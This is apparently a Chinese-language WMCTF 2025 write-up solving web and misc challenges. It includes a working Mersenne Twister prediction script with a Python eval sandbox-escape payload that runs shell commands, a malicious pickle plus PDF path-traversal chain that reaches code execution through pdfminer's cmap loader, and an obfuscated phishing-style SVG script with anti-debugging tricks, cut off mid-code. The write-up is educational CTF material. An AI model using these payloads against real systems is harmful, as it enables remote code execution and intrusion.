wmctf2025

web

guess

from flask import Flask, request, jsonify, session, render_template, redirect
import random

rd = random.Random()

def generate_random_string():
    return str(rd.getrandbits(32))

app = Flask(__name__)
app.secret_key = generate_random_string()

users = []

a = generate_random_string()

@app.route('/register', methods=['POST', 'GET'])
def register():
    if request.method == 'GET':
        return render_template('register.html')
    
    data = request.get_json()
    username = data.get('username')
    password = data.get('password')
    
    if not username or not password:
        return jsonify({'error': 'Username and password are required'}), 400
    
    if any(user['username'] == username for user in users):
        return jsonify({'error': 'Username already exists'}), 400
    
    user_id = generate_random_string()
    
    users.append({
        'user_id': user_id,
        'username': username,
        'password': password
    })
    
    return jsonify({
        'message': 'User registered successfully',
        'user_id': user_id
    }), 201



@app.route('/login', methods=['POST', 'GET'])
def login():

    if request.method == 'GET':
        return render_template('login.html')

    data = request.get_json()
    username = data.get('username')
    password = data.get('password')
    
    if not username or not password:
        return jsonify({'error': 'Username and password are required'}), 400
    
    user = next((user for user in users if user['username'] == username and user['password'] == password), None)
    
    if not user:
        return jsonify({'error': 'Invalid credentials'}), 401
    
    session['user_id'] = user['user_id']
    session['username'] = user['username']
    
    return jsonify({
        'message': 'Login successful',
        'user_id': user['user_id']
    }), 200

@app.post('/api')
def protected_api():

    data = request.get_json()

    key1 = data.get('key')
    
    if not key1:
        return jsonify({'error': 'key are required'}), 400

    key2 = generate_random_string()
    
    if not str(key1) == str(key2):
        return jsonify({
            'message': 'Not Allowed:' + str(key2) ,
        }), 403
    

    payload = data.get('payload')

    if payload:
        eval(payload, {'__builtin__':{}})
    
    return jsonify({
        'message': 'Access granted',
    })


@app.route('/')
def index():
    if 'user_id' not in session:
        return redirect('/login')
    
    return render_template('index.html')


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5001)

目标是执行eval进行rce,进入的条件是key1=key2,key1是用户输入的,key2是随机数生成的,经典的MT19937预测

def protected_api():

    data = request.get_json()

    key1 = data.get('key')
    
    if not key1:
        return jsonify({'error': 'key are required'}), 400

    key2 = generate_random_string()
    
    if not str(key1) == str(key2):
        return jsonify({
            'message': 'Not Allowed:' + str(key2) ,
        }), 403
    

    payload = data.get('payload')

    if payload:
        eval(payload, {'__builtin__':{}})
    
    return jsonify({
        'message': 'Access granted',
    })

不难发现,每次注册一个账号后都会返回一个user_id,user_id是随机生成的,因此只需要注册624个账号,得到624个连续的随机数就可以预测后面的随机数了

@app.route('/register', methods=['POST', 'GET'])
def register():
    if request.method == 'GET':
        return render_template('register.html')
    
    data = request.get_json()
    username = data.get('username')
    password = data.get('password')
    
    if not username or not password:
        return jsonify({'error': 'Username and password are required'}), 400
    
    if any(user['username'] == username for user in users):
        return jsonify({'error': 'Username already exists'}), 400
    
    user_id = generate_random_string()
    
    users.append({
        'user_id': user_id,
        'username': username,
        'password': password
    })
    
    return jsonify({
        'message': 'User registered successfully',
        'user_id': user_id
    }), 201

但是eval中将__builtin__替换成了空字符,隔离了内置模块如os,open等功能,因此需要通过类继承链获得内置引用

payload = '''next(
    cls for cls in __builtin__.__class__.__bases__[0].__subclasses__()
    if hasattr(cls, '__init__') 
    and hasattr(cls.__init__, '__globals__') 
    and 'os' in cls.__init__.__globals__
).__init__.__globals__['os'].popen('mkdir /app/static;cat /flag > /app/static/1.txt').read()'''
payload = '''
print(__import__("os").__getattribute__("metsys"[::-1])('ls'))
'''

最终脚本

impot requests
from randcrack import RandCrack

# 目标URL
base_url = 'http://x.x.x.x:x/'
register_url = f'{base_url}/register'
api_url = f'{base_url}/api'

# 初始化RandCrack
rc = RandCrack()

# 注册624个用户并收集user_id
for i in range(624):
    username = f'user{i}'
    password = 'password'
    data = {
        'username': username,
        'password': password
    }
    response = requests.post(register_url, json=data)
    if response.status_code == 201:
        user_id = response.json()['user_id']
        rc.submit(int(user_id))
        print(f'Registered user{i}, user_id: {user_id}')
    else:
        print(f'Error registering user{i}: {response.text}')
        exit(1)

# 预测下一个随机数
predicted_key = rc.predict_getrandbits(32)
print(f'Predicted key: {predicted_key}')

# # 构造恶意payload读取flag
payload = '''next(
    cls for cls in __builtin__.__class__.__bases__[0].__subclasses__()
    if hasattr(cls, '__init__') 
    and hasattr(cls.__init__, '__globals__') 
    and 'os' in cls.__init__.__globals__
).__init__.__globals__['os'].popen('mkdir /app/static;cat /flag > /app/static/1.txt').read()'''

# 发送API请求
data = {
    'key': str(predicted_key),
    'payload': payload
}
response = requests.post(api_url, json=data)
print(response.text)

pdf2text(复现)

题目是一个pdf转换器,将pdf转换为txt,提示搜索pickle.loads

分析调用链

在cmapdb.py中找到了pickle.loads

def _load_data(cls, name: str) -> Any:
    name = name.replace("\0", "")
    filename = "%s.pickle.gz" % name
    log.debug("loading: %r", name)
    cmap_paths = (
        os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
        os.path.join(os.path.dirname(__file__), "cmap"),
    )
    for directory in cmap_paths:
        path = os.path.join(directory, filename)
        if os.path.exists(path):
            gzfile = gzip.open(path)
            try:
                return type(str(name), (), pickle.loads(gzfile.read()))
            finally:
                gzfile.close()
                raise CMapDB.CMapNotFound(name)

来分析一下这个函数,这里反序列化的是当前目录下cmp子目录中文件,假如文件存在就进行pickle反序列化

假如这里的name是可控的,就可以通过路径穿越穿越到我们可控的目录就能rce了

往上找哪里调用了_load_data

image-20250924125012318

找到两处,第二处的前缀被写死了,不能路径穿越,进入get_cmap

@classmethod
def get_cmap(cls, name: str) -> CMapBase:
    if name == "Identity-H":
        return IdentityCMap(WMode=0)
    elif name == "Identity-V":
        return IdentityCMap(WMode=1)
    elif name == "OneByteIdentityH":
        return IdentityCMapByte(WMode=0)
    elif name == "OneByteIdentityV":
        return IdentityCMapByte(WMode=1)
    try:
        return cls._cmap_cache[name]
    except KeyError:
        pass
    data = cls._load_data(name)
    cls._cmap_cache[name] = cmap = PyCMap(name, data)
    return cmap

继续往上找

image-20250924125318453

def get_cmap_from_spec(self, spec: Mapping[str, Any], strict: bool) -> CMapBase:
    """Get cmap from font specification

        For certain PDFs, Encoding Type isn't mentioned as an attribute of
        Encoding but as an attribute of CMapName, where CMapName is an
        attribute of spec['Encoding'].
        The horizontal/vertical modes are mentioned with different name
        such as 'DLIdent-H/V','OneByteIdentityH/V','Identity-H/V'.
        """
    cmap_name = self._get_cmap_name(spec, strict)

    try:
        return CMapDB.get_cmap(cmap_name)
    except CMapDB.CMapNotFound as e:
        if strict:
            raise PDFFontError(e)
            return CMap()
    @staticmethod
    def _get_cmap_name(spec: Mapping[str, Any], strict: bool) -> str:
        """Get cmap name from font specification"""
        cmap_name = "unknown"  # default value

        try:
            spec_encoding = spec["Encoding"]
            if hasattr(spec_encoding, "name"):
                cmap_name = literal_name(spec["Encoding"])
            else:
                cmap_name = literal_name(spec_encoding["CMapName"])
        except KeyError:
            if strict:
                raise PDFFontError("Encoding is unspecified")

        if type(cmap_name) is PDFStream:  # type: ignore[comparison-overlap]
            cmap_name_stream: PDFStream = cast(PDFStream, cmap_name)
            if "CMapName" in cmap_name_stream:
                cmap_name = cmap_name_stream.get("CMapName").name
            elif strict:
                raise PDFFontError("CMapName unspecified for encoding")

        return IDENTITY_ENCODER.get(cmap_name, cmap_name)

提取pdf中编码信息encoding,并把它设置为cmapname,这是我们可控的

image-20250924125607729

class PDFCIDFont(PDFFont):
    default_disp: Union[float, Tuple[Optional[float], float]]

    def __init__(
        self,
        rsrcmgr: "PDFResourceManager",
        spec: Mapping[str, Any],
        strict: bool = settings.STRICT,
    ) -> None:
        try:
            self.basefont = literal_name(spec["BaseFont"])
        except KeyError:
            if strict:
                raise PDFFontError("BaseFont is missing")
            self.basefont = "unknown"
        self.cidsysteminfo = dict_value(spec.get("CIDSystemInfo", {}))
        cid_registry = resolve1(self.cidsysteminfo.get("Registry", b"unknown")).decode(
            "latin1",
        )
        cid_ordering = resolve1(self.cidsysteminfo.get("Ordering", b"unknown")).decode(
            "latin1",
        )
        self.cidcoding = f"{cid_registry.strip()}-{cid_ordering.strip()}"
        self.cmap: CMapBase = self.get_cmap_from_spec(spec, strict)

这里只有初始化的时候用到了这个函数,找类实例化的地方

image-20250924125900911

    def get_font(self, objid: object, spec: Mapping[str, object]) -> PDFFont:
        if objid and objid in self._cached_fonts:
            font = self._cached_fonts[objid]
        else:
            log.debug("get_font: create: objid=%r, spec=%r", objid, spec)
            if settings.STRICT:
                if spec["Type"] is not LITERAL_FONT:
                    raise PDFFontError("Type is not /Font")
            # Create a Font object.
            if "Subtype" in spec:
                subtype = literal_name(spec["Subtype"])
            else:
                if settings.STRICT:
                    raise PDFFontError("Font Subtype is not specified.")
                subtype = "Type1"
            if subtype in ("Type1", "MMType1"):
                # Type1 Font
                font = PDFType1Font(self, spec)
            elif subtype == "TrueType":
                # TrueType Font
                font = PDFTrueTypeFont(self, spec)
            elif subtype == "Type3":
                # Type3 Font
                font = PDFType3Font(self, spec)
            elif subtype in ("CIDFontType0", "CIDFontType2"):
                # CID Font
                font = PDFCIDFont(self, spec)
            elif subtype == "Type0":
                # Type0 Font
                dfonts = list_value(spec["DescendantFonts"])
                assert dfonts
                subspec = dict_value(dfonts[0]).copy()
                for k in ("Encoding", "ToUnicode"):
                    if k in spec:
                        subspec[k] = resolve1(spec[k])
                font = self.get_font(None, subspec)
            else:
                if settings.STRICT:
                    raise PDFFontError("Invalid Font spec: %r" % spec)
                font = PDFType1Font(self, spec)  # this is so wrong!
            if objid and self.caching:
                self._cached_fonts[objid] = font
        return font

当subtype为CIDFontType0或者CIDFontType2时,会实例化PDFCIDFont类

简而言之,PDFCIDFont 实例化的时机是当 PDF 中的字体是 CID 类型字体 时,且其子类型是 CIDFontType0CIDFontType2

查找get_font函数所在类的实例化,发现了extract_pages

image-20250924131734596

def extract_pages(
    pdf_file: FileOrName,
    password: str = "",
    page_numbers: Optional[Container[int]] = None,
    maxpages: int = 0,
    caching: bool = True,
    laparams: Optional[LAParams] = None,
) -> Iterator[LTPage]:
    """Extract and yield LTPage objects

    :param pdf_file: Either a file path or a file-like object for the PDF file
        to be worked on.
    :param password: For encrypted PDFs, the password to decrypt.
    :param page_numbers: List of zero-indexed page numbers to extract.
    :param maxpages: The maximum number of pages to parse
    :param caching: If resources should be cached
    :param laparams: An LAParams object from pdfminer.layout. If None, uses
        some default settings that often work well.
    :return: LTPage objects
    """
    if laparams is None:
        laparams = LAParams()

    with open_filename(pdf_file, "rb") as fp:
        fp = cast(BinaryIO, fp)  # we opened in binary mode
        resource_manager = PDFResourceManager(caching=caching)
        device = PDFPageAggregator(resource_manager, laparams=laparams)
        interpreter = PDFPageInterpreter(resource_manager, device)
        for page in PDFPage.get_pages(
            fp,
            page_numbers,
            maxpages=maxpages,
            password=password,
            caching=caching,
        ):
            interpreter.process_page(page)
            layout = device.get_result()
            yield layout

image-20250924131950610

from pdfminer.high_level import extract_pages
from pdfminer.layout import LTTextContainer

def pdf_to_text(pdf_path, txt_path):
    with open(txt_path, 'w', encoding='utf-8') as txt:
        for page_layout in extract_pages(pdf_path):
            for element in page_layout:
                if isinstance(element, LTTextContainer):
                    txt.write(element.get_text())
                    txt.write('\n')

终于找到头了

总结一下,本题的思路就是先上传一个包含pickle序列化数据的gz压缩包,再上传包含路径穿越和CID字体的pdf,最终pickle.loads指向我们上传的gz文件

#调用链
pdf_to_text->extract_pages->PDFResourceManager->PDFCIDFont->get_cmap_from_spec->get_cmap->_load_data->pickle.loads

但现在的问题是题目只能上传pdf,没法上传gz

经过测试,只要在gz后加上pdf文件尾的一部分就可以绕过了

第一步:生成一个gz 代码要在linux中跑,在windows中会出问题

import os
import gzip
import pickle

class Tmp:
    def __reduce__(self):
        return (os.system, ("mkdir ./static;cat /flag > /app/static/1.txt",))

obj = Tmp()
ser_data = pickle.dumps(obj)
pdf_content =b'''
trailer
<<
  /Root 1 0 R
  /Size 7
>>
startxref
'''
with gzip.open("pickle.pickle.gz","wb",compresslevel = 0) as f:
    f.write(ser_data)
    f.write(pdf_content)
print("success")

第二步:生成pdf

%PDF-1.4
1 0 obj
<<
  /Type /Catalog
  /Pages 2 0 R
>>
endobj

2 0 obj
<<
  /Type /Pages
  /Count 1
  /Kids [3 0 R]
>>
endobj

3 0 obj
<<
  /Type /Page
  /Parent 2 0 R
  /MediaBox [0 0 595 842]
  /Resources <<
    /Font <<
      /F1 4 0 R
    >>
  >>
  /Contents 5 0 R
>>
endobj

4 0 obj
<<
  /Type /Font
  /Subtype /CIDFontType0
  /BaseFont /Adobe-GB1
  /Encoding /..#2F..#2F..#2F..#2F..#2F..#2F..#2F..#2Fapp#2Fuploads#2Fpickle
  /CIDSystemInfo <<
    /Registry (Adobe)
    /Ordering (GB1)
    /Supplement 0
  >>
  >>
endobj

5 0 obj
<< /Length 32 >>
stream
BT
/F1 24 Tf
100 700 Td
(A) Tj
ET
endstream
endobj

xref
0 6
0000000000 65535 f
0000000010 00000 n
0000000058 00000 n
0000000115 00000 n
0000000252 00000 n
0000000375 00000 n
0000000534 00000 n
trailer
<<
  /Root 1 0 R
  /Size 6
>>
startxref
620
%%EOF

测试,下个断点查看path的值

image-20250924191141430

image-20250924194625031

路径构造成功

上传即可获得flag

misc

phishing_mail

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 800 600" width="800" height="600">
  <!-- Fake invoice design to look legitimate -->
  <rect width="800" height="600" fill="#f8f9fa"/>
  <rect x="50" y="50" width="700" height="500" fill="white" stroke="#dee2e6" stroke-width="2"/>
  
  <!-- Header -->
  <text x="400" y="100" text-anchor="middle" font-family="Arial" font-size="24" font-weight="bold" fill="#212529">INVOICE #2025-0727</text>
  <text x="400" y="130" text-anchor="middle" font-family="Arial" font-size="14" fill="#6c757d">Payment Due: August 15, 2025</text>
  
  <!-- Company info -->
  <text x="80" y="180" font-family="Arial" font-size="16" font-weight="bold" fill="#495057">From:</text>
  <text x="80" y="200" font-family="Arial" font-size="14" fill="#495057">TechSolutions Corp</text>
  <text x="80" y="220" font-family="Arial" font-size="14" fill="#495057">123 Business Ave</text>
  <text x="80" y="240" font-family="Arial" font-size="14" fill="#495057">New York, NY 10001</text>
  
  <text x="400" y="180" font-family="Arial" font-size="16" font-weight="bold" fill="#495057">To:</text>
  <text x="400" y="200" font-family="Arial" font-size="14" fill="#495057">Your Company</text>
  <text x="400" y="220" font-family="Arial" font-size="14" fill="#495057">456 Client Street</text>
  <text x="400" y="240" font-family="Arial" font-size="14" fill="#495057">Boston, MA 02101</text>
  
  <!-- Invoice details -->
  <line x1="80" y1="280" x2="720" y2="280" stroke="#dee2e6" stroke-width="2"/>
  <text x="80" y="310" font-family="Arial" font-size="14" font-weight="bold" fill="#495057">Description</text>
  <text x="500" y="310" font-family="Arial" font-size="14" font-weight="bold" fill="#495057">Amount</text>
  
  <text x="80" y="340" font-family="Arial" font-size="14" fill="#495057">IT Security Consultation</text>
  <text x="500" y="340" font-family="Arial" font-size="14" fill="#495057">$2,500.00</text>
  
  <text x="80" y="370" font-family="Arial" font-size="14" fill="#495057">Network Assessment</text>
  <text x="500" y="370" font-family="Arial" font-size="14" fill="#495057">$1,800.00</text>
  
  <line x1="450" y1="400" x2="720" y2="400" stroke="#dee2e6" stroke-width="1"/>
  <text x="500" y="430" font-family="Arial" font-size="16" font-weight="bold" fill="#495057">Total: $4,300.00</text>
  
  <text x="400" y="480" text-anchor="middle" font-family="Arial" font-size="12" fill="#dc3545">
    Please click to view detailed payment instructions
  </text>
  
  <!-- Hidden malicious script with multiple layers of obfuscation -->
  <script><![CDATA[
    // Anti-debugging and detection evasion
    var jXKuzdDMGk = false;
    var detectionBypass = true;
    var globalSeed = 0x5A4D;
    var entropy = [];
    
    // Advanced fingerprinting and detection evasion
    (function antiDetection() {
      // Check for WebDriver, PhantomJS, Burp Suite
      if (navigator.webdriver || window.callPhantom || window._phantom || 
          navigator.userAgent.includes("Burp") || navigator.userAgent.includes("HeadlessChrome") ||
          navigator.userAgent.includes("Selenium") || window.chrome && chrome.runtime && chrome.runtime.onConnect) {
        window.location = "about:blank";
        return;
      }
      
      // Advanced environment fingerprinting
      var canvas = document.createElement('canvas');
      var ctx = canvas.getContext('2d');
      ctx.textBaseline = 'top';
      ctx.font = '14px Arial';
      ctx.fillText('Browser fingerprint test', 2, 2);
      var fingerprint = canvas.toDataURL();
      
      // Generate entropy from browser characteristics
      entropy = [
        navigator.hardwareConcurrency || 4,
        screen.colorDepth,
        screen.pixelDepth,
        new Date().getTimezoneOffset(),
        fingerprint.length,
        navigator.language.length,
        window.devicePixelRatio * 1000 | 0
      ];
      
      // Check for debugging environment indicators
      if (window.outerHeight - window.innerHeight > 200 || 
          window.outerWidth - window.innerWidth > 200 ||
          fingerprint.length < 100) {
        detectionBypass = false;
      }
      
      // Generate seed from entropy
      globalSeed = entropy.reduce(function(acc, val) {
        return ((acc << 5) - acc + val) & 0xFFFFFFFF;
      }, 0x5A4D);
    })();
    
    // Block developer tools shortcuts
    document.addEventListener("keydown", function (event) {
      var blockedKeys = [
        { keyCode: 123 }, // F12
        { ctrl: true, keyCode: 85 }, // Ctrl + U
        { ctrl: true, shift: true, keyCode: 73 }, // Ctrl + Shift + I
        { ctrl: true, shift: true, keyCode: 67 }, // Ctrl + Shift + C
        { ctrl: true, shift: true, keyCode: 74 }, // Ctrl + Shift + J
        { ctrl: true, shift: true, keyCode: 75 }, // Ctrl + Shift + K
        { meta: true, alt: true, keyCode: 73 }, // Cmd + Alt + I (Mac)
        { meta: true, keyCode: 85 } // Cmd + U (Mac)
      ];
      
      var isBlocked = blockedKeys.some(function(key) {
        return (!key.ctrl || event.ctrlKey) &&
               (!key.shift || event.shiftKey) &&
               (!key.meta || event.metaKey) &&
               (!key.alt || event.altKey) &&
               event.keyCode === key.keyCode;
      });
      
      if (isBlocked) {
        event.preventDefault();
        return false;
      }
    });
    
    // Block right-click context menu
    document.addEventListener('contextmenu', function(event) {
      event.preventDefault();
      return false;
    });
    
    // Advanced anti-debugging using performance timing with variable thresholds
    (function timingCheck() {
      var baseThreshold = 50;
      var dynamicThreshold = baseThreshold + (globalSeed % 100);
      var checkCount = 0;
      
      setInterval(function() {
        var start = performance.now();
        debugger;
        var end = performance.now();
        checkCount++;
        
        // Variable threshold based on environment
        var currentThreshold = dynamicThreshold + (checkCount * 10);
        
        if (end - start > currentThreshold && detectionBypass) {
          jXKuzdDMGk = true;
          // Redirect with multiple decoy destinations
          var decoyUrls = ['https://www.google.com', 'https://www.microsoft.com', 'about:blank'];
          window.location.replace(decoyUrls[globalSeed % decoyUrls.length]);
        }
      }, 150 + (globalSeed % 100));
    })();
    
    function customPRNG(seed) {
      var m = 0x80000000; // 2**31
      var a = 1103515245;
      var c = 12345;
      
      seed = (a * seed + c) % m;
      return seed / (m - 1);
    }
    
    function advancedXOR(data, keyBase) {
      var result = '';
      var expandedKey = '';
      

      for (var i = 0; i < data.length; i++) {
        var keyChar = keyBase.charCodeAt(i % keyBase.length);
        var entropyVal = entropy[i % entropy.length];
        var rotatedKey = ((keyChar ^ entropyVal) + globalSeed) % 256;
        expandedKey += String.fromCharCode(rotatedKey);
      }
      
      for (var j = 0; j < data.length; j++) {
        result += String.fromCharCode(data.charCodeAt(j) ^ expandedKey.charCodeAt(j));
      }
      
      return result;
    }
    
    // Main payload - heavily obfuscated with multiple transformation layers
    setTimeout(function() {
      if (!jXKuzdDMGk && detectionBypass) {
        var decoyArray1 = [119,109,99,116,102,123,102,97,107,101,95,102,108,97,103,125]; // wmctf{fake_flag}
        var decoyArray2 = [104,116,116,112,115,58,47,47,101,120,97,109,112,108,101,46,99,111,109];
        
        var polymorphicData = [
          'V01DVEZbZmFrZV9mbGFnXQ==',
          'bm90X3RoZV9yZWFsX2ZsYWc=',
          'ZGVjb3lfZGF0YQ==',
          '4oyM4p2h77iP4p2j4oyM4p2d77iL4p2c4oyI4p2g77iN4p2a77iP4p2b4oyL4p2Y',
          '4p2Z77iM4p2X77iO4p2W77iM4p2V77iK4p2U77iL4p2T77iM4p2S77iN4p2R',
          '4p2Q77iL4p2P77iO4p2O77iM4p2N77iK4p2M77iL4p2L77iM4p2K77iN4p2J',
          '4p2I77iL4p2H77iO4p2G77iM4p2F77iK4p2E77iL4p2D77iM4p2C77iN4p2B',
          '4p2A77iL4pyx77iO4py977iM4py877iK4py777iL4py677iM4py577iN4py4'
        ];
        
        // Layer 3: Environmental validation with complex checks
        var envValidation = function() {
          var checks = [
            typeof window !== 'undefined',
            typeof document !== 'undefined',
            navigator.userAgent.length > 10,
            screen.width > 0 && screen.height > 0,
            Date.now() > 1700000000000, // After 2023
            Math.abs(new Date().getTimezoneOffset()) < 1440, // Valid timezone
            entropy.length === 7,
            globalSeed !== 0x5A4D // Should be modified by fingerprinting
          ];
          
          var validCount = checks.filter(Boolean).length;
          return validCount >= 6; // Require most checks to pass
        };
        
        // Layer 4: Steganographic data hidden in mathematical sequences
        var fibSequence = [1,1,2,3,5,8,13,21,34,55,89,144,233,377,610,987,1597,2584];
        var primeSequence = [2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61];
        
        // Hidden data in sequence differences (steganography)
        var hiddenIndices = [];
        for (var i = 1; i < fibSequence.length; i++) {
          var diff = fibSequence[i] - fibSequence[i-1];
          if (diff > 0 && diff < polymorphicData.length) {
            hiddenIndices.push(diff % polymorphicData.length);
          }
        }
        

        var generateDynamicKey = function() {
          var timeComponent = (Date.now() % 86400000).toString(36); // Daily changing component
          var envComponent = (globalSeed ^ 0xDEADBEEF).toString(36);
          var browserComponent = (navigator.userAgent.length * screen.colorDepth).toString(36);
          

          var staticKey = 'WMCTF_2025_SVG_ANALYSIS';
          return staticKey;
        };

        var decryptionPipeline = function() {
          if (!envValidation()) {
            console.log('Environment validation failed');
            return null;
          }
          
          try {
            var dynamicKey = generateDynamicKey();
            var realDataIndices = [3, 4, 5, 6, 7]; // Skip decoy data
            var encryptedParts = [];
            
            for (var i = 0; i < realDataIndices.length; i++) {
              var idx = realDataIndices[i];
              if (idx < polymorphicData.length) {
                encryptedParts.push(polymorphicData[idx]);
              }
            }
            
            console.log('Found encrypted parts:', encryptedParts.length);
            
            var stage1Results = [];
            for (var j = 0; j < encryptedParts.length; j++) {
              var part = encryptedParts[j];
              
              // Convert Unicode escape sequences to characters
              var decoded = part.replace(/4oyM|4p2[a-zA-Z0-9]|77i[a-zA-Z0-9]/g, function(match) {

                var charMap = {
                  '4p2V': 'A', '4p2P': 'D', '4p2F': 'E', '4p2g': 'G', '4p2a': 'P',
                  '4p2c': 'S', '4oyI': 'V', '4p2T': 'a', '77iP': 'c', '4p2S': 'c',
                  '4p2L': 'c', '4p2D': 'a', '4p2O': 'e', '4p2M': 'e', '4p2d': 'f',
                  '77iO': 'g', '4p2b': 'h', '4p2Z': 'h', '4oyL': 'i', '77iM': 'i',
                  '4p2J': 'i', '4p2B': 'i', '4p2R': 'k', '4p2h': 'm', '4p2X': 'n',
                  '4p2H': 'n', '4pyx': 'n', '4p2I': 'o', '4p2A': 'o', '4p2C': 's',
                  '4p2Y': 's', '4p2j': 't', '77iK': 't', '4p2U': 't', '4p2K': 't',
                  '4p2N': 't', '4p2E': 'v', '4oyM': 'w', '77iL': '{', '4py9': '}',
                  '77iN': '_', '4p2W': '_', '4p2Q': '_', '4p2G': '_', '4py8': '!',
                  '4py7': '!', '4py6': '!', '4py5': '!', '4py4': '!'
                };
                return charMap[match] || '';
              });
              
              stage1Results.push(decoded);
            }
            

            var combined = stage1Results.join('');
            console.log('Stage 1 result:', combined);
            
            var finalResult = '';
            for (var k = 0; k < combined.length; k++) {
              var char = combined.charCodeAt(k);
              var keyChar = dynamicKey.charCodeAt(k % dynamicKey.length);

              var transformed = char ^ (keyChar % 32); // Reduced XOR for readability
              finalResult += String.fromCharCode(transformed);
            }
            
            return finalResult;
            
          } catch (error) {
            console.log('Decryption failed:', error.message);
            return null;
          }
        };
        
       
        var mathematicalObfuscation = function() {
       
          var phi = 1.618033988749895; // Golden ratio
          var pi = 3.141592653589793;   // Pi
          var e = 2.718281828459045;    // Euler's number
          
        
          var mathKey = Math.floor(phi * 1000) + Math.floor(pi * 1000) + Math.floor(e * 1000);
          
         
          window.mathSegments = [
            btoa(String.fromCharCode(mathKey % 256) + segments[0]),
            btoa(String.fromCharCode((mathKey * 2) % 256) + segments[1]),
            btoa(String.fromCharCode((mathKey * 3) % 256) + segments[2]),
            btoa(String.fromCharCode((mathKey * 4) % 256) + segments[3]),
            btoa(String.fromCharCode((mathKey * 5) % 256) + segments[4])
          ];
          
          return mathKey;
        };
        
       
        var mathKey = mathematicalObfuscation();
        
       
        if (detectionBypass && !jXKuzdDMGk && verification()) {
          constructPayload();
          
   
          window.extractFlag = function() {
            try {
              if (window.hiddenData) {
                var encoded = atob(window.hiddenData);
                var key = 'WMCTF2025';
                var decoded = '';
                for (var i = 0; i < encoded.length; i++) {
                  decoded += String.fromCharCode(
                    encoded.charCodeAt(i) ^ key.charCodeAt(i % key.length)
                  );
                }
                console.log('Extracted flag:', decoded);
                return decoded;
              }
            } catch (e) {
              console.log('Flag extraction failed');
            }
          };
        }
      }
    }, 1000);
    
    // Decoy functions to confuse analysis
    function generateFakeTraffic() {
      var fakeUrls = [
        'https://api.example.com/data',
        'https://cdn.jsdelivr.net/npm/package',
        'https://fonts.googleapis.com/css'
      ];
      // These would normally make requests but are disabled for CTF
    }
    
    function createFakeElements() {
      // Create invisible elements with misleading data
      var hiddenDiv = document.createElement('div');
      hiddenDiv.style.display = 'none';
      hiddenDiv.innerHTML = atob('RmFrZSBmbGFnOiBXTUNURntub3RfdGhlX3JlYWxfZmxhZ30=');
      document.body.appendChild(hiddenDiv);
    }
    
    // Initialize decoy functions
    generateFakeTraffic();
    createFakeElements();
    
    // Add click handler for the invoice
    document.addEventListener('click', function() {
      if (detectionBypass && !jXKuzdDMGk) {
        // This would normally redirect to phishing site
        // window.location.href = 'https://fake-payment-portal.com';
        console.log('Invoice clicked - in real attack, this would redirect to phishing site');
      }
    });
  ]]></script>
</svg>

只有这一段是有用的

// Main payload - heavily obfuscated with multiple transformation layers
setTimeout(function() {
    if (!jXKuzdDMGk && detectionBypass) {
        var decoyArray1 = [119,109,99,116,102,123,102,97,107,101,95,102,108,97,103,125]; // wmctf{fake_flag}
        var decoyArray2 = [104,116,116,112,115,58,47,47,101,120,97,109,112,108,101,46,99,111,109];

        var polymorphicData = [
            'V01DVEZbZmFrZV9mbGFnXQ==',
            'bm90X3RoZV9yZWFsX2ZsYWc=',
            'ZGVjb3lfZGF0YQ==',
            '4oyM4p2h77iP4p2j4oyM4p2d77iL4p2c4oyI4p2g77iN4p2a77iP4p2b4oyL4p2Y',
            '4p2Z77iM4p2X77iO4p2W77iM4p2V77iK4p2U77iL4p2T77iM4p2S77iN4p2R',
            '4p2Q77iL4p2P77iO4p2O77iM4p2N77iK4p2M77iL4p2L77iM4p2K77iN4p2J',
            '4p2I77iL4p2H77iO4p2G77iM4p2F77iK4p2E77iL4p2D77iM4p2C77iN4p2B',
            '4p2A77iL4pyx77iO4py977iM4py877iK4py777iL4py677iM4py577iN4py4'
        ];

        // Layer 3: Environmental validation with complex checks
        var envValidation = function() {
            var checks = [
                typeof window !== 'undefined',
                typeof document !== 'undefined',
                navigator.userAgent.length > 10,
                screen.width > 0 && screen.height > 0,
                Date.now() > 1700000000000, // After 2023
                Math.abs(new Date().getTimezoneOffset()) < 1440, // Valid timezone
                entropy.length === 7,
                globalSeed !== 0x5A4D // Should be modified by fingerprinting
            ];

            var validCount = checks.filter(Boolean).length;
            return validCount >= 6; // Require most checks to pass
        };

        // Layer 4: Steganographic data hidden in mathematical sequences
        var fibSequence = [1,1,2,3,5,8,13,21,34,55,89,144,233,377,610,987,1597,2584];
        var primeSequence = [2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61];

        // Hidden data in sequence differences (steganography)
        var hiddenIndices = [];
        for (var i = 1; i < fibSequence.length; i++) {
            var diff = fibSequence[i] - fibSequence[i-1];
            if (diff > 0 && diff < polymorphicData.length) {
                hiddenIndices.push(diff % polymorphicData.length);
            }
        }


        var generateDynamicKey = function() {
            var timeComponent = (Date.now() % 86400000).toString(36); // Daily changing component
            var envComponent = (globalSeed ^ 0xDEADBEEF).toString(36);
            var browserComponent = (navigator.userAgent.length * screen.colorDepth).toString(36);


            var staticKey = 'WMCTF_2025_SVG_ANALYSIS';
            return staticKey;
        };

        var decryptionPipeline = function() {
            if (!envValidation()) {
                console.log('Environment validation failed');
                return null;
            }

            try {
                var dynamicKey = generateDynamicKey();
                var realDataIndices = [3, 4, 5, 6, 7]; // Skip decoy data
                var encryptedParts = [];

                for (var i = 0; i < realDataIndices.length; i++) {
                    var idx = realDataIndices[i];
                    if (idx < polymorphicData.length) {
                        encryptedParts.push(polymorphicData[idx]);
                    }
                }

                console.log('Found encrypted parts:', encryptedParts.length);

                var stage1Results = [];
                for (var j = 0; j < encryptedParts.length; j++) {
                    var part = encryptedParts[j];

                    // Convert Unicode escape sequences to characters
                    var decoded = part.replace(/4oyM|4p2[a-zA-Z0-9]|77i[a-zA-Z0-9]/g, function(match) {

                        var charMap = {
                            '4p2V': 'A', '4p2P': 'D', '4p2F': 'E', '4p2g': 'G', '4p2a': 'P',
                            '4p2c': 'S', '4oyI': 'V', '4p2T': 'a', '77iP': 'c', '4p2S': 'c',
                            '4p2L': 'c', '4p2D': 'a', '4p2O': 'e', '4p2M': 'e', '4p2d': 'f',
                            '77iO': 'g', '4p2b': 'h', '4p2Z': 'h', '4oyL': 'i', '77iM': 'i',
                            '4p2J': 'i', '4p2B': 'i', '4p2R': 'k', '4p2h': 'm', '4p2X': 'n',
